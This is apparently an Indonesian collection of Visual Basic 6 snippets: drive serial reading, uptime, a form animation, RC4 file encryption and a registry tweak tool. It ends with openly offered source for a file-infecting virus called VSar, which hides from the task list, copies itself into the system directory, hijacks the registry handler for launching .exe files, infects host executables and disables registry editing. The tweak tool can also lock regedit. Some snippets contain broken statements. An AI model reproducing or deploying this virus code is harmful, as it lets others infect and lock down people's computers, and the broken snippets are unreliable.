   bFeaturesReg     As Byte 'Used for specifying SMART "commands"
   bSectorCountReg  As Byte 'IDE sector count register
   bSectorNumberReg As Byte 'IDE sector number register
   bCylLowReg       As Byte 'IDE low order cylinder value
   bCylHighReg      As Byte 'IDE high order cylinder value
   bDriveHeadReg    As Byte 'IDE drive/head register
   bCommandReg      As Byte 'Actual IDE command
   bReserved        As Byte 'reserved for future use - must be zero
End Type
 
'SENDCMDINPARAMS contains the input parameters for the
'Send Command to Drive function
Private Type SENDCMDINPARAMS
   cBufferSize     As Long     'Buffer size in bytes
   irDriveRegs     As IDEREGS  'Structure with drive register values.
   bDriveNumber    As Byte     'Physical drive number to send command to (0,1,2,3).
   bReserved(2)    As Byte     'Bytes reserved
   dwReserved(3)   As Long     'DWORDS reserved
   bBuffer()      As Byte      'Input buffer.
End Type
 
'Valid values for the bCommandReg member of IDEREGS.
Private Const IDE_ID_FUNCTION = &HEC            'Returns ID sector for ATA.
Private Const IDE_EXECUTE_SMART_FUNCTION = &HB0 'Performs SMART cmd.
                                                'Requires valid bFeaturesReg,
                                                'bCylLowReg, and bCylHighReg
 
'Cylinder register values required when issuing SMART command
Private Const SMART_CYL_LOW = &H4F
Private Const SMART_CYL_HI = &HC2
 
'Status returned from driver
Private Type DRIVERSTATUS
   bDriverError  As Byte          'Error code from driver, or 0 if no error
   bIDEStatus    As Byte          'Contents of IDE Error register
                                  'Only valid when bDriverError is SMART_IDE_ERROR
   bReserved(1)  As Byte
   dwReserved(1) As Long
End Type
 
Private Type IDSECTOR
   wGenConfig                 As Integer
   wNumCyls                   As Integer
   wReserved                  As Integer
   wNumHeads                  As Integer
   wBytesPerTrack             As Integer
   wBytesPerSector            As Integer
   wSectorsPerTrack           As Integer
   wVendorUnique(2)           As Integer
   sSerialNumber(19)          As Byte
   wBufferType                As Integer
   wBufferSize                As Integer
   wECCSize                   As Integer
   sFirmwareRev(7)            As Byte
   sModelNumber(39)           As Byte
   wMoreVendorUnique          As Integer
   wDoubleWordIO              As Integer
   wCapabilities              As Integer
   wReserved1                 As Integer
   wPIOTiming                 As Integer
   wDMATiming                 As Integer
   wBS                        As Integer
   wNumCurrentCyls            As Integer
   wNumCurrentHeads           As Integer
   wNumCurrentSectorsPerTrack As Integer
   ulCurrentSectorCapacity    As Long
   wMultSectorStuff           As Integer
   ulTotalAddressableSectors  As Long
   wSingleWordDMA             As Integer
   wMultiWordDMA              As Integer
   bReserved(127)             As Byte
End Type
 
'Structure returned by SMART IOCTL commands
Private Type SENDCMDOUTPARAMS
  cBufferSize   As Long         'Size of Buffer in bytes
  DRIVERSTATUS  As DRIVERSTATUS 'Driver status structure
  bBuffer()    As Byte          'Buffer of arbitrary length for data read from drive
End Type
 
'Vendor specific feature register defines
'for SMART "sub commands"
Private Const SMART_ENABLE_SMART_OPERATIONS = &HD8
 
'Status Flags Values
Public Enum STATUS_FLAGS
   PRE_FAILURE_WARRANTY = &H1
   ON_LINE_COLLECTION = &H2
   PERFORMANCE_ATTRIBUTE = &H4
   ERROR_RATE_ATTRIBUTE = &H8
   EVENT_COUNT_ATTRIBUTE = &H10
   SELF_PRESERVING_ATTRIBUTE = &H20
End Enum
 
'IOCTL commands
Private Const DFP_GET_VERSION = &H74080
Private Const DFP_SEND_DRIVE_COMMAND = &H7C084
Private Const DFP_RECEIVE_DRIVE_DATA = &H7C088
 
Private Type ATTR_DATA
   AttrID As Byte
   AttrName As String
   AttrValue As Byte
   ThresholdValue As Byte
   WorstValue As Byte
   StatusFlags As STATUS_FLAGS
End Type
 
Private Type DRIVE_INFO
   bDriveType As Byte
   SerialNumber As String
   Model As String
   FirmWare As String
   Cilinders As Long
   Heads As Long
   SecPerTrack As Long
   BytesPerSector As Long
   BytesperTrack As Long
   NumAttributes As Byte
   Attributes() As ATTR_DATA
End Type
 
Private Enum IDE_DRIVE_NUMBER
   PRIMARY_MASTER
   PRIMARY_SLAVE
   SECONDARY_MASTER
   SECONDARY_SLAVE
   TERTIARY_MASTER
   TERTIARY_SLAVE
   QUARTIARY_MASTER
   QUARTIARY_SLAVE
End Enum
 
Private Declare Function CreateFile Lib "kernel32" _
   Alias "CreateFileA" _
  (ByVal lpFileName As String, _
   ByVal dwDesiredAccess As Long, _
   ByVal dwShareMode As Long, _
   lpSecurityAttributes As Any, _
   ByVal dwCreationDisposition As Long, _
   ByVal dwFlagsAndAttributes As Long, _
   ByVal hTemplateFile As Long) As Long
 
Private Declare Function CloseHandle Lib "kernel32" _
  (ByVal hObject As Long) As Long
  
Private Declare Function DeviceIoControl Lib "kernel32" _
  (ByVal hDevice As Long, _
   ByVal dwIoControlCode As Long, _
   lpInBuffer As Any, _
   ByVal nInBufferSize As Long, _
   lpOutBuffer As Any, _
   ByVal nOutBufferSize As Long, _
   lpBytesReturned As Long, _
   lpOverlapped As Any) As Long
  
Private Declare Sub CopyMemory Lib "kernel32" _
   Alias "RtlMoveMemory" _
  (hpvDest As Any, _
   hpvSource As Any, _
   ByVal cbCopy As Long)
  
Private Type OSVERSIONINFO
   OSVSize As Long
   dwVerMajor As Long
   dwVerMinor As Long
   dwBuildNumber As Long
   PlatformID As Long
   szCSDVersion As String * 128
End Type
 
Private Declare Function GetVersionEx Lib "kernel32" _
   Alias "GetVersionExA" _
  (LpVersionInformation As OSVERSIONINFO) As Long
 
 
 
Private Sub Form_Load()
 
   Command1.Caption = "Get Drive Info"
      Dim di As DRIVE_INFO
di = GetDriveInfo(0)
Me.Caption = Trim$(di.Model) & vbCrLf
Me.Caption = Me.Caption & " - " & Trim$(di.SerialNumber)
 
End Sub
 
 
Private Sub Command1_Click()
 
   Dim di As DRIVE_INFO
   Dim drvNumber As Long
   
   For drvNumber = PRIMARY_MASTER To QUARTIARY_SLAVE
   
      di = GetDriveInfo(drvNumber)
      
      List1.AddItem "Drive " & drvNumber
      
      With di
      
         Select Case .bDriveType
            Case 0
               List1.AddItem vbTab & "[Not present]"
            Case 1
               List1.AddItem vbTab & "Model:" & vbTab & Trim$(.Model)
               List1.AddItem vbTab & "Serial No:" & vbTab & Trim$(.SerialNumber)
            Case 2
               List1.AddItem vbTab & "[ATAPI drive - info not available]"
            Case Else
               List1.AddItem vbTab & "[drive type not known]"
         End Select
         
      End With
      
   Next
   
End Sub
 
 
Private Function GetDriveInfo(drvNumber As IDE_DRIVE_NUMBER) As DRIVE_INFO
    
   Dim hDrive As Long
   Dim di As DRIVE_INFO
   
   hDrive = SmartOpen(drvNumber)
   
   If hDrive <> INVALID_HANDLE_VALUE Then
   
      If SmartGetVersion(hDrive) = True Then
      
         With di
            .bDriveType = 0
            .NumAttributes = 0
            ReDim .Attributes(0)
            .bDriveType = 1
         End With
         
         If SmartCheckEnabled(hDrive, drvNumber) Then
            
            If IdentifyDrive(hDrive, IDE_ID_FUNCTION, drvNumber, di) = True Then
         
               GetDriveInfo = di
               
            End If   'IdentifyDrive
         End If   'SmartCheckEnabled
      End If   'SmartGetVersion
   End If   'hDrive <> INVALID_HANDLE_VALUE
   
   CloseHandle hDrive
   
End Function
 
 
Private Function IdentifyDrive(ByVal hDrive As Long, _
                               ByVal IDCmd As Byte, _
                               ByVal drvNumber As IDE_DRIVE_NUMBER, _
                               di As DRIVE_INFO) As Boolean
    
  'Function: Send an IDENTIFY command to the drive
  'drvNumber = 0-3
  'IDCmd = IDE_ID_FUNCTION or IDE_ATAPI_ID
   Dim SCIP As SENDCMDINPARAMS
   Dim IDSEC As IDSECTOR
   Dim bArrOut(OUTPUT_DATA_SIZE - 1) As Byte
   Dim cbBytesReturned As Long
   
   With SCIP
      .cBufferSize = IDENTIFY_BUFFER_SIZE
      .bDriveNumber = CByte(drvNumber)
        
      With .irDriveRegs
         .bFeaturesReg = 0
         .bSectorCountReg = 1
         .bSectorNumberReg = 1
         .bCylLowReg = 0
         .bCylHighReg = 0
         .bDriveHeadReg = &HA0 'compute the drive number
         If Not IsWinNT4Plus Then
            .bDriveHeadReg = .bDriveHeadReg Or ((drvNumber And 1) * 16)
         End If
         'the command can either be IDE
         'identify or ATAPI identify.
         .bCommandReg = CByte(IDCmd)
      End With
   End With
   
   If DeviceIoControl(hDrive, _
                      DFP_RECEIVE_DRIVE_DATA, _
                      SCIP, _
                      Len(SCIP) - 4, _
                      bArrOut(0), _
                      OUTPUT_DATA_SIZE, _
                      cbBytesReturned, _
                      ByVal 0&) Then
                      
      CopyMemory IDSEC, bArrOut(16), Len(IDSEC)
 
      di.Model = StrConv(SwapBytes(IDSEC.sModelNumber), vbUnicode)
      di.SerialNumber = StrConv(SwapBytes(IDSEC.sSerialNumber), vbUnicode)
      
      IdentifyDrive = True
      
    End If
    
End Function
 
 
Private Function IsWinNT4Plus() As Boolean
 
  'returns True if running Windows NT4 or later
   Dim osv As OSVERSIONINFO
 
   osv.OSVSize = Len(osv)
 
   If GetVersionEx(osv) = 1 Then
   
      IsWinNT4Plus = (osv.PlatformID = VER_PLATFORM_WIN32_NT) And _
                     (osv.dwVerMajor >= 4)
 
   End If
 
End Function
 
 
Private Function SmartCheckEnabled(ByVal hDrive As Long, _
                                   drvNumber As IDE_DRIVE_NUMBER) As Boolean
   
  'SmartCheckEnabled - Check if SMART enable
  'FUNCTION: Send a SMART_ENABLE_SMART_OPERATIONS command to the drive
  'bDriveNum = 0-3
   Dim SCIP As SENDCMDINPARAMS
   Dim SCOP As SENDCMDOUTPARAMS
   Dim cbBytesReturned As Long
   
   With SCIP
   
      .cBufferSize = 0
      
      With .irDriveRegs
           .bFeaturesReg = SMART_ENABLE_SMART_OPERATIONS
           .bSectorCountReg = 1
           .bSectorNumberReg = 1
           .bCylLowReg = SMART_CYL_LOW
           .bCylHighReg = SMART_CYL_HI
 
           .bDriveHeadReg = &HA0
            If Not IsWinNT4Plus Then
               .bDriveHeadReg = .bDriveHeadReg Or ((drvNumber And 1) * 16)
            End If
           .bCommandReg = IDE_EXECUTE_SMART_FUNCTION
           
       End With
       
       .bDriveNumber = drvNumber
       
   End With
   
   SmartCheckEnabled = DeviceIoControl(hDrive, _
                                      DFP_SEND_DRIVE_COMMAND, _
                                      SCIP, _
                                      Len(SCIP) - 4, _
                                      SCOP, _
                                      Len(SCOP) - 4, _
                                      cbBytesReturned, _
                                      ByVal 0&)
End Function
 
 
Private Function SmartGetVersion(ByVal hDrive As Long) As Boolean
   
   Dim cbBytesReturned As Long
   Dim GVOP As GETVERSIONOUTPARAMS
   
   SmartGetVersion = DeviceIoControl(hDrive, _
                                     DFP_GET_VERSION, _
                                     ByVal 0&, 0, _
                                     GVOP, _
                                     Len(GVOP), _
                                     cbBytesReturned, _
                                     ByVal 0&)
   
End Function
 
 
Private Function SmartOpen(drvNumber As IDE_DRIVE_NUMBER) As Long
 
  'Open SMART to allow DeviceIoControl
  'communications and return SMART handle
 
   If IsWinNT4Plus() Then
      
      SmartOpen = CreateFile("\\.\PhysicalDrive" & CStr(drvNumber), _
                             GENERIC_READ Or GENERIC_WRITE, _
                             FILE_SHARE_READ Or FILE_SHARE_WRITE, _
                             ByVal 0&, _
                             OPEN_EXISTING, _
                             0&, _
                             0&)
 
   Else
      
      SmartOpen = CreateFile("\\.\SMARTVSD", _
                              0&, 0&, _
                              ByVal 0&, _
                              CREATE_NEW, _
                              0&, _
                              0&)
   End If
   
End Function
 
 
Private Function SwapBytes(b() As Byte) As Byte()
   
   
   Dim bTemp As Byte
   Dim cnt As Long
 
   For cnt = LBound(b) To UBound(b) Step 2
      bTemp = b(cnt)
      b(cnt) = b(cnt + 1)
      b(cnt + 1) = bTemp
   Next cnt
      
   SwapBytes = b()
      
End Function

SYSTEM UPTIME

 Source code berikut merupakan suatu
program untuk dapat mengetahui System Uptime

Copy coding dibawah ini dan paste di Editor Form:

 
'---Form Usage Example:---'
Private Sub Timer1_Timer()
Label1 = "System Uptime: " & SystemUptime.Days & " Days, " & _
        SystemUptime.Hours & " Hours, " & _
        SystemUptime.Minutes & " Mins, " & _
        SystemUptime.Seconds & " Seconds, " & _
        SystemUptime.MSeconds & " Miliseconds"
End Sub

Copy coding dibawah ini dan paste di Editor Module:

 
'---In Module---'
Public Type TimeConv
    Days        As Long
    Hours       As Long
    Minutes     As Long
    Seconds     As Long
    MSeconds    As Long
End Type
 
Private Declare Function GetTickCount Lib "kernel32.dll" () As Long
 
Private Function ConvertTime(ByVal Tick As Long) As TimeConv
 
ConvertTime.MSeconds = Tick Mod 1000
 
Tick = Tick \ 1000
ConvertTime.Days = ((Tick) \ (24 * (60 ^ 2)))
 
If ConvertTime.Days > 0 Then Tick = (Tick - 24 * (60 ^ 2)) * ConvertTime.Days
ConvertTime.Hours = Tick \ (60 ^ 2)
 
If ConvertTime.Hours > 0 Then Tick = Tick - ((60 ^ 2) * ConvertTime.Hours)
ConvertTime.Minutes = Tick \ 60
 
ConvertTime.Seconds = Tick Mod 60
 
End Function
 

Property Get SystemUptime() As TimeConv
 SystemUptime = ConvertTime(GetTickCount)
End Property

FORM MENGELILINGI FORM

 
 Source code dibawah ini merupakan salah
satu animasi pada form yaitu ada 2 Form dan salah
satu form tersebut mengelilingi form yang lain

Copy coding dibawah ini dan paste di Editor Form:

========================Script pada Form1=====
==================Hak Cipta Pembuat GOdzillaZ@Plasa.Com
!!!!!!!!Hak Cipta Harus Diikut sertakan Dalam Pemakaian Script ini!!!!!!!!!!!

Dim a As Long
Private Sub Form_Load()
 Form1.BorderStyle = 1
 Form1.Height = 3645
 Form1.Width = 4800
 Form2.Show
 Timer1.Enabled = True
 Timer1.Interval = 1
 Timer2.Enabled = False
 Timer2.Interval = 1
 Timer3.Enabled = False
 Timer3.Interval = 1
 Timer4.Enabled = False
 Timer4.Interval = 1
 Timer5.Enabled = False
 Timer5.Interval = 1
 Slider1.Max = 200
 Slider1.Min = 0
 Slider1.Value = 50
End Sub

Private Sub Tambahan()
 b = Slider1.Value
 a = a + b
 Label3.Caption = a
 Me.Caption = "Balok Keliling Ala GOdziLLaZ"
End Sub

Private Sub Timer1_timer()
 Label1.Caption = Form1.Top - 450 /Left Kiri
 Label2.Caption = Form1.Left - 200
 Form2.Left = Label2.Caption + a
 Form2.Top = Form1.Top - 450
 Call Tambahan
 If Label3.Caption > 5000 Then  3400
  a = 0
  Label3.Caption = a
  Timer1.Enabled = False
  Timer2.Enabled = True
 End If
End Sub

Private Sub Timer2_Timer()
 Call Tambahan
 Label1.Caption = Form1.Top - 450 /Left Kiri
 Label2.Caption = Form1.Left - 200
 Form2.Top = Label1.Caption + a
 Form2.Left = Form1.Left + 4800
 If Label3.Caption > 4050 Then
  a = 0
  Label3.Caption = a
  Timer2.Enabled = False
  Timer3.Enabled = True
 End If
End Sub

Private Sub Timer3_Timer()
 Call Tambahan
 Label1.Caption = Form1.Top + 3650    /Top bawah
 Label2.Caption = Form1.Left + 4800 /Left kanan
 Form2.Top = Label1.Caption
 Form2.Left = Label2.Caption - a
 If a > 6420 Then
  a = 0
  Label3.Caption = a
  Timer3.Enabled = False
  Timer4.Enabled = True
 End If
End Sub

Private Sub Timer4_Timer()
 Call Tambahan
 Label1.Caption = Form1.Top + 3600    /Top bawah
 Form2.Left = Form1.Left - 1640
 Form2.Top = Label1.Caption - a
 If a > 4030 Then
  a = 0
  Label3.Caption = a
  Timer4.Enabled = False
  Timer5.Enabled = True
 End If
End Sub

Private Sub Timer5_Timer()
 Call Tambahan
 Label1.Caption = Form1.Left - 1650
 Form2.Top = Form1.Top - 450
 Form2.Left = Label1.Caption + a
 If a > 1460 Then
  a = 0
  Label3.Caption = a
  Timer5.Enabled = False
  Timer1.Enabled = True
 End If
End Sub
===3buah label dan 5buah Timer==
=========Komponen Pada Form1====
=       - Label1                                        =
=       - label2                                        =
=       - label3                                        =
=       - Timer1                                        =
=       - Timer2                                        =
=       - Timer3                                        =
=       - Timer4                                        =
=       - Timer5                                        =
============================



============================== Script Pada Form2 ============================
Private Sub Form_Load()
 Form2.BorderStyle = 0
 Form2.Height = 1000
 Form2.Width = 1635
 Timer1.Enabled = True
 Timer1.Interval = 250
End Sub

Private Sub Label1_Click()
 End
End Sub
!!!!!!!!LABEL1 PD FORM2 HARUS DILETEKAN PADA POJOK KIRI ATAS FORM!!!!!!!!!!
Private Sub Timer1_timer()
 Form1.Show
 a = a + 1
 Form2.Caption = a
 Label1.Caption = a
 If a > 2 Then
  a = 0
  Label1.Caption = "Exit"
 Else
  Label1.Caption = "Balok"
 End If
End Sub
===1Buah Label dan 1 Buah Timer====
=========Komponen Untuk Form2======
=       - Label1                                                =
=       - Timer1                                              =
==============================

ENCRIPSI RC4

 This code offers you a strong encryption
with RC4. I've tested it a lot and it's the right
implementation of the RC4 cipher. 'You can use
this code in your commercial code because it's
not patented! 'I know there is another code that
deals with RC4 but my code has nothing to do with
this code!

Copy coding dibawah ini dan paste di Editor Form:

'**************************************
' Name: (Update) RC4 Stream Cipher (with
'     file handling )
' Description:This code offers you a str
'     ong encryption with RC4. I've tested it 
'     a lot and it's the right implementation 
'     of the RC4 cipher.
'You can use this code in your commercia
'     l code because it's not patented!
'I know there is another code that deals

'     with RC4 but my code has nothing to do w
    '     ith this code! 
    'More infos: sci.crypt
' By: Sebastian
'
' Inputs:Create the form and simply sele
'     ct a file to en(de)crypt!
'Notice that you use the same function f
'     or encryption and decryption
'
' Returns:After you press the Button you
'     should get the en(de)crypted file!
'
' Assumes:'Assumes:Create a form with:
'
'txtpwd (txtbox)
'txtSave (txtbox)
'txtPattern (Combobox)
'filList (FileListBox)
'DirList (DirListBox)
'drvList (DrvlistBox)
'Command1 (Command Button ; Caption=Encr
'     ypt)
'Command2 (Command Button ; Caption=Decr
'     ypt)
'
' Side Effects:If you encrypt different 
'     textes with the same password, someone c
'     ould be able to decrypt your code. (This
'     is quiet normal for a stream cipher!)
If YOU ENCRYPT LARGE FILES PLEASE USE THE EnDeCryptSingle ROUTINE INSTEAD OF THE EnDeCrypt ROUTINE OR SPLIT THE INPUT IN SMALLER PIECES!
'
'This code is copyrighted and has' limited warranties.Please see http://w
'     ww.Planet-Source-Code.com/vb/scripts/Sho
'     wCode.asp?txtCodeId=1736&lngWId=1'for details.'**************************************

Option Explicit
Dim s(0 To 255) As Integer 'S-Box
Dim kep(0 To 255) As Integer
Dim i As Integer, j As Integer
'For the file actions
Dim path As String

Public Sub RC4ini(Pwd As String)

    Dim temp As Integer, a As Integer, b As Integer
    'Save Password in Byte-Array
    b = 0


    For a = 0 To 255
        b = b + 1


        If b > Len(Pwd) Then
            b = 1
        End If

        kep(a) = Asc(Mid$(Pwd, b, 1))
    Next a

    'INI S-Box

    For a = 0 To 255
        s(a) = a
    Next a

    b = 0


    For a = 0 To 255
        b = (b + s(a) + kep(a)) Mod 256
        ' Swap( S(i),S(j) )
        temp = s(a)
        s(a) = s(b)
        s(b) = temp
    Next a

End Sub

'Only use this routine for short texts

Public Function EnDeCrypt(plaintxt As Variant) As Variant

    Dim temp As Integer, a As Long, i As Integer, j As Integer, k As Integer
    Dim cipherby As Byte, cipher As Variant

    For a = 1 To Len(plaintxt)
        i = (i + 1) Mod 256
        j = (j + s(i)) Mod 256
        ' Swap( S(i),S(j) )
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
        'Generate Keybyte k
        k = s((s(i) + s(j)) Mod 256)
        'Plaintextbyte xor Keybyte
        cipherby = Asc(Mid$(plaintxt, a, 1)) Xor k
        cipher = cipher & Chr(cipherby)
    Next a

    EnDeCrypt = cipher
End Function

'Use this routine for really huge files

Public Function EnDeCryptSingle(plainbyte As Byte) As Byte

    Dim temp As Integer, k As Integer
    Dim cipherby As Byte
    i = (i + 1) Mod 256
    j = (j + s(i)) Mod 256
    ' Swap( S(i),S(j) )
    temp = s(i)
    s(i) = s(j)
    s(j) = temp
    'Generate Keybyte k
    k = s((s(i) + s(j)) Mod 256)
    'Plaintextbyte xor Keybyte
    cipherby = plainbyte Xor k
    EnDeCryptSingle = cipherby
End Function

'************This section handles the fi
'     le actions*****************

Private Sub DirList_Change()

    filList.path = Dirlist.path
End Sub


Private Sub drvList_Change()

    On Error Goto DriveHandler
    Dirlist.path = drvList.Drive
    Exit Sub
    DriveHandler:
    drvList.Drive = Dirlist.path
    Exit Sub
End Sub


Private Sub filList_Click()

    txtSave.Text = filList.List(filList.ListIndex)
End Sub


Private Sub Form_Load()

    txtPatter.AddItem "*.*", 0
    txtPatter.AddItem "*.txt", 1
    filList.Pattern = txtPatter.Text
End Sub


Private Sub txtPatter_Change()

    filList.Pattern = txtPatter.Text
End Sub


Private Sub txtPatter_Click()

    filList.Pattern = txtPatter.Text
End Sub

'************* Encrypten Routine *******
'     ***********

Private Sub Command1_Click()

    Dim inbyte As Byte
    Dim z As Long
    'Set the Set-Box Counter zero
    i = 0: j = 0
    'Ini the S-Boxes only once for a hole fi
    '     le

    If txtpwd.Text = "" Then
        MsgBox "You need To enter a password For encrypten or decrypten"
        Exit Sub
    Else
        RC4ini (txtpwd.Text)
    End If

    'Disable the Mousepointer
    MousePointer = vbHourglass
    path = Dirlist.path + "\" + txtSave
    Open path For Binary As 1
    Open path + ".enc" For Binary As 2


    For z = 1 To LOF(1)
        Get #1, , inbyte
        Put #2, , EnDeCryptSingle(inbyte)
    Next z

    Close 1
    Close 2
    'Enable the Mousepointer
    MousePointer = vbDefault
End Sub

'*********** Decryptenroutine **********
'     *

Private Sub Command2_Click()

    Dim inbyte As Byte
    Dim z As Long
    'Set the Set-Box counter zero
    i = 0: j = 0
    'Ini the S-Boxes only once for a hole fi
    '     le

    If txtpwd.Text = "" Then
        MsgBox "You need To enter a password For encrypten or decrypten"
        Exit Sub
    Else
        RC4ini (txtpwd.Text)
    End If

    'Disable the Mousepointer
    MousePointer = vbHourglass
    path = Dirlist.path + "\" + txtSave
    Open path For Binary As 1
    path = Left$(path, Len(path) - 4)
    Open path For Binary As 2


    For z = 1 To LOF(1)
        Get #1, , inbyte
        Put #2, , EnDeCryptSingle(inbyte)
    Next

    Close 1
    Close 2
    'Enable the Mousepointer
    MousePointer = vbDefault
End Sub

PROGRAM REPAIR TO DEFAULT

Source code dibawah ini adalah program Repair
yaitu penangkal aktifitas virus
silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2. Tambahkan 1 Form
3. Tambahkan 7 CommandButton dengan CommandButton1(cap=Do not show hidden files or folders),
   CommandButton2(cap=Non Aktifkan Folder Option),CommandButton3(cap=Kunci Regedit),
   CommandButton4(cap=Buka Kunci Regedit),CommandButton5(cap=Aktifkan Folder Option),
   CommandButton6(cap=Hide extension for known file types),CommandButton7(cap=Kembali Semua)
4. Tambahkan Module(name=RegEdit)

Copy coding dibawah ini dan paste di Form:

Private Sub Command1_Click()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1

CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
End Sub

Private Sub Command2_Click()
'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
End Sub

Private Sub Command3_Click()
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
End Sub

Private Sub Command4_Click()
'//////////Buka Kunci Regedit////////////
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit"
End Sub

Private Sub Command5_Click()
'//////////Aktifkan folder option////////////
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
End Sub

Private Sub Command6_Click()
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
End Sub

Private Sub Command7_Click()
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1
End Sub

Copy coding dibawah ini dan paste di Editor Module RegEdit:

Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub


'Public Function ReadKey(Value As String) As String

'Dim b As Object
'On Error Resume Next
'Set b = CreateObject("wscript.shell")
'r = b.RegRead(Value)
'ReadKey = r
'End Function


Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub

SOURCE CODE VIRUS VSAR

Dibawah ini merupakan source code contoh virus
dengan nama virus VSar.
1. Bukalah 1 project
2. Tambahkan 1 form(name=frmVirus)
3. Tambahkan 1 Module(name=mdlRegistryAPI)

Copy coding dibawah ini dan paste di Editor Form:

'VSar By Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia
Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias _
    "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _
    As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" _
    (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As _
    Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal _
    dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As _
    Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal _
    hObject As Long) As Long
Dim buff_hd As String
Dim buff_host As String
Dim hostsize As String
Dim exefname As String
Dim fname As String
Dim VPath As String
Dim Spawning As Variant
Const virsize As Long = (11264) 'size setelah dikompres dengan upx
Private SF As String * 255

Public Sub Form_Load()
On Error Resume Next
Dim buff_victim As String
Dim FileName As String
Dim buff_vir As String
Dim all_host As String
App.TaskVisible = False
Call InfectSystem
VPath = App.Path
If Right(VPath, 1) <> "\" Then
VPath = VPath & "\"
End If
Spawning = Command()
fname = VPath & LCase(App.EXEName) & ".exe"
If Len(Dir(Spawning)) < 1 Then GoTo akhir
If FileLen(Spawning) < 1300000 Then
Open Spawning For Binary Access Read As #2
all_host = Space(FileLen(Spawning))
Get #2, , all_host
Close #2
If Right(all_host, 4) = "VSAR" Then
OpenHost (Spawning)
Else
'======= Infect Host =========
Open fname For Binary Access Read As #1
hostsize = (LOF(1) - Int(virsize))
buff_hd = Space(virsize)
buff_host = Space(hostsize)
Get #1, , buff_hd
Get #1, , buff_host
Close #1
Open Spawning For Binary Access Write As #4
hostsize = (LOF(1) - Int(virsize))
buff_host = Space(hostsize)
Put #4, , buff_hd
Put #4, , all_host
Put #4, , "VSAR"
Close #4
End If
End If
End
Exit Sub
akhir:
Shell Spawning, vbNormalFocus
End
End Sub

Private Function OpenHost(NamaFile As String)
On Error Resume Next
Dim FakeName As String
FakeName = Mid(Spawning, 1, (Len(Spawning) - 4)) & ".dll"
Open NamaFile For Binary Access Read As #1
hostsize = (LOF(1) - Int(virsize))
buff_hd = Space(virsize)
buff_host = Space(hostsize - 4)
Get #1, , buff_hd
Get #1, , buff_host
Close #1
If Len(Dir(FakeName)) = 0 Then
Open FakeName For Binary Access Write As #2
Put #2, , buff_host
Close #2
End If
WaitProcess Shell(FakeName, vbNormalFocus)
Kill FakeName
End
End Function

Private Sub InfectSystem()
On Error Resume Next
If Len(Dir(SystemDir & "\loadexe.exe")) = 0 Then
FileCopy App.Path & "\" & App.EXEName & ".exe", SystemDir _
    & "\loadexe.exe"
End If
If GetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open" & _
    "\command", "") <> "loadexe.exe %1" Then
SetStringValue "HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _
    "loadexe.exe %1"
End If
CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Win" & _
    "dows\CurrentVersion\Policies\System"
If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _
    "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _
    "egistryTools") <> 1 Then
SetDWORDValue "HKEY_CURRENT_USER\Software\Micro" & _
    "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _
    "gistryTools", 1
End If
End Sub

Private Function SystemDir()
On Error Resume Next
Dim FolderValue As String
FolderValue = Left(SF, GetSystemDirectory(SF, 255))
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1)
End If
SystemDir = FolderValue
End Function

Function WaitProcess(taskId As Long, Optional msecs As Long _
    = -1) As Boolean
Dim procHandle As Long
procHandle = OpenProcess(&H100000, True, taskId)
WaitProcess = WaitForSingleObject(procHandle, msecs) <> -1
CloseHandle procHandle
End Function

Copy coding dibawah ini dan paste di Editor Module:

Type FILETIME
    lLowDateTime    As Long
    lHighDateTime   As Long
End Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _
    "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _
    As String) As Long
